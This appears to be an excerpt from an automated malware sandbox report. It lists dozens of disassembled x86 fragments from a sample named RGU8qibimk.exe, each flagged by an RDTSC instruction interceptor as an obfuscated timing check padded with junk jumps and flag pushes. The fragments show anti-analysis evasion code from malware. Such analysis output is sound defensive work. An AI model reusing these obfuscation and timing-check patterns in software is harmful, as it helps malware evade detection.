Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78913DE second address: 7891483 instructions: 0x00000000 rdtsc 0x00000002 call 00007FDF09105E49h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushfd 0x0000000b jmp 00007FDF09105E41h 0x00000010 sbb ax, 17A6h 0x00000015 jmp 00007FDF09105E41h 0x0000001a popfd 0x0000001b popad 0x0000001c mov eax, dword ptr [esi+1Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FDF09105E43h 0x00000028 add esi, 7A588ADEh 0x0000002e jmp 00007FDF09105E49h 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007FDF09105E40h 0x0000003a add ax, BAD8h 0x0000003f jmp 00007FDF09105E3Bh 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891483 second address: 789149B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF08CE3BA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789149B second address: 78914C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+1Ch], eax 0x0000000e pushad 0x0000000f mov dx, ax 0x00000012 call 00007FDF09105E40h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78914C5 second address: 78914D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [esi+20h] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78914D4 second address: 78914D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78914D8 second address: 78914DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78914DC second address: 78914E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78914E2 second address: 78914F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF08CE3B9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78914F4 second address: 78915E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+20h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FDF09105E3Dh 0x00000012 adc cx, 9FE6h 0x00000017 jmp 00007FDF09105E41h 0x0000001c popfd 0x0000001d mov di, ax 0x00000020 popad 0x00000021 mov eax, dword ptr [esi+24h] 0x00000024 pushad 0x00000025 call 00007FDF09105E48h 0x0000002a jmp 00007FDF09105E42h 0x0000002f pop eax 0x00000030 movsx edx, si 0x00000033 popad 0x00000034 mov dword ptr [edx+24h], eax 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007FDF09105E48h 0x0000003e jmp 00007FDF09105E45h 0x00000043 popfd 0x00000044 pushfd 0x00000045 jmp 00007FDF09105E40h 0x0000004a and ecx, 3DC6EAA8h 0x00000050 jmp 00007FDF09105E3Bh 0x00000055 popfd 0x00000056 popad 0x00000057 mov eax, dword ptr [esi+28h] 0x0000005a jmp 00007FDF09105E46h 0x0000005f mov dword ptr [edx+28h], eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 call 00007FDF09105E3Dh 0x0000006a pop ecx 0x0000006b push edx 0x0000006c pop ecx 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78915E3 second address: 7891600 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF08CE3BA9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891600 second address: 7891652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [esi+2Ch] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDF09105E3Ch 0x00000015 or ch, FFFFFFF8h 0x00000018 jmp 00007FDF09105E3Bh 0x0000001d popfd 0x0000001e mov si, 822Fh 0x00000022 popad 0x00000023 mov dword ptr [edx+2Ch], ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FDF09105E41h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891652 second address: 7891680 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, word ptr [esi+30h] 0x0000000d pushad 0x0000000e mov esi, 74AD1BA3h 0x00000013 mov dx, cx 0x00000016 popad 0x00000017 mov word ptr [edx+30h], ax 0x0000001b pushad 0x0000001c pushad 0x0000001d movzx eax, bx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891680 second address: 7891689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 mov esi, edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891689 second address: 78916E9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDF08CE3B9Bh 0x00000008 xor eax, 55884B7Eh 0x0000000e jmp 00007FDF08CE3BA9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov ax, word ptr [esi+32h] 0x0000001b jmp 00007FDF08CE3B9Eh 0x00000020 mov word ptr [edx+32h], ax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FDF08CE3BA7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78916E9 second address: 7891763 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+34h] 0x0000000c jmp 00007FDF09105E3Eh 0x00000011 mov dword ptr [edx+34h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FDF09105E3Dh 0x0000001d jmp 00007FDF09105E3Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FDF09105E48h 0x00000029 sub eax, 469E24C8h 0x0000002f jmp 00007FDF09105E3Bh 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891763 second address: 789176A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789176A second address: 78917CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test ecx, 00000700h 0x0000000d jmp 00007FDF09105E47h 0x00000012 jne 00007FDF78D53DBFh 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007FDF09105E3Bh 0x00000020 pushfd 0x00000021 jmp 00007FDF09105E48h 0x00000026 sub eax, 568AB4B8h 0x0000002c jmp 00007FDF09105E3Bh 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78917CE second address: 789180A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov ax, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b or dword ptr [edx+38h], FFFFFFFFh 0x0000000f jmp 00007FDF08CE3B9Dh 0x00000014 or dword ptr [edx+3Ch], FFFFFFFFh 0x00000018 jmp 00007FDF08CE3B9Eh 0x0000001d or dword ptr [edx+40h], FFFFFFFFh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov edi, 30D89E60h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789180A second address: 789180F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789180F second address: 789182E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789182E second address: 7891832 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891832 second address: 7891838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891838 second address: 7891868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, ecx 0x00000005 call 00007FDF09105E3Eh 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebx 0x0000000f jmp 00007FDF09105E41h 0x00000014 leave 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891868 second address: 789186C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 789186C second address: 7891872 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891872 second address: 7891878 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7891878 second address: 789187C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E0B9C second address: 78E0BCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF08CE3B9Fh 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FDF08CE3BA7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E0BCE second address: 78E0BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78E0BD4 second address: 78E0BD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7880862 second address: 78808A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDF09105E40h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ecx, edi 0x00000016 call 00007FDF09105E49h 0x0000001b pop esi 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820008 second address: 782000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 782000C second address: 782001B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 782001B second address: 78200B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov dx, BE98h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FDF08CE3B9Ah 0x00000014 sbb esi, 0920FDC8h 0x0000001a jmp 00007FDF08CE3B9Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FDF08CE3BA8h 0x00000026 or ax, 0028h 0x0000002b jmp 00007FDF08CE3B9Bh 0x00000030 popfd 0x00000031 popad 0x00000032 mov dword ptr [esp], ebp 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 mov edi, 44E52596h 0x0000003d pushfd 0x0000003e jmp 00007FDF08CE3BA7h 0x00000043 adc si, F21Eh 0x00000048 jmp 00007FDF08CE3BA9h 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78200B4 second address: 78200DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF09105E47h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78200DC second address: 78200E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78200E0 second address: 78200E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78200E4 second address: 78200EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820721 second address: 782076D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDF09105E3Dh 0x00000009 sbb ecx, 5CB10376h 0x0000000f jmp 00007FDF09105E41h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FDF09105E3Ch 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDF09105E3Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 782076D second address: 7820782 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov dl, EFh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, AEA4h 0x00000012 push edi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820782 second address: 78207CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 mov ch, BEh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov dl, 08h 0x00000010 pushfd 0x00000011 jmp 00007FDF09105E40h 0x00000016 adc cx, A488h 0x0000001b jmp 00007FDF09105E3Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov esi, 3375C4FFh 0x00000027 popad 0x00000028 pop ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDF09105E41h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820A8A second address: 7820AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov edx, 6DF93C20h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FDF08CE3BA1h 0x00000018 and ah, 00000026h 0x0000001b jmp 00007FDF08CE3BA1h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FDF08CE3BA0h 0x00000027 sub ecx, 5C6EE8C8h 0x0000002d jmp 00007FDF08CE3B9Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820AE7 second address: 7820AED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820AED second address: 7820AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820AF1 second address: 7820AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820AF5 second address: 7820B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bx, si 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820B09 second address: 7820B20 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820B20 second address: 7820B24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7820B24 second address: 7820B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 787088C second address: 7870892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7870892 second address: 7870896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7870896 second address: 78708C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF08CE3BA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78708C7 second address: 78708CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78708CD second address: 78708D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78708D1 second address: 78708DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78708DE second address: 7870900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov ecx, 243C76ADh 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDF08CE3BA2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7870900 second address: 7870904 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7870904 second address: 787090A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850057 second address: 785005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 785005B second address: 785005F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 785005F second address: 7850065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850065 second address: 785006B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 785006B second address: 785006F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 785006F second address: 7850091 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cl, 59h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850091 second address: 7850096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850096 second address: 785015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 32h 0x00000005 movsx ebx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov cx, 961Bh 0x00000011 push eax 0x00000012 call 00007FDF08CE3BA7h 0x00000017 pop eax 0x00000018 pop edi 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c pushad 0x0000001d jmp 00007FDF08CE3BA2h 0x00000022 jmp 00007FDF08CE3BA2h 0x00000027 popad 0x00000028 and esp, FFFFFFF0h 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FDF08CE3B9Dh 0x00000032 or ecx, 6B827266h 0x00000038 jmp 00007FDF08CE3BA1h 0x0000003d popfd 0x0000003e popad 0x0000003f sub esp, 44h 0x00000042 jmp 00007FDF08CE3B9Eh 0x00000047 xchg eax, ebx 0x00000048 pushad 0x00000049 pushfd 0x0000004a jmp 00007FDF08CE3B9Dh 0x0000004f sbb cx, 0276h 0x00000054 jmp 00007FDF08CE3BA1h 0x00000059 popfd 0x0000005a popad 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FDF08CE3B9Ch 0x00000063 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 785015D second address: 78501A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, D5h 0x00000005 pushfd 0x00000006 jmp 00007FDF09105E3Ah 0x0000000b adc eax, 18D956C8h 0x00000011 jmp 00007FDF09105E3Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b jmp 00007FDF09105E46h 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx edx, si 0x00000027 movzx ecx, dx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78501A4 second address: 78501EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, D7EDh 0x00000007 pushfd 0x00000008 jmp 00007FDF08CE3B9Ah 0x0000000d sub ax, 0B88h 0x00000012 jmp 00007FDF08CE3B9Bh 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c jmp 00007FDF08CE3BA9h 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 mov ch, 5Ah 0x00000027 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 78501EA second address: 785023C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FDF09105E3Bh 0x0000000c or cx, 7D2Eh 0x00000011 jmp 00007FDF09105E49h 0x00000016 popfd 0x00000017 popad 0x00000018 xchg eax, edi 0x00000019 jmp 00007FDF09105E3Eh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FDF09105E3Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 785023C second address: 785026B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FDF08CE3BA6h 0x0000000f mov edi, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 785026B second address: 7850271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 7850271 second address: 7850280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF08CE3B9Bh 0x00000009 rdtsc
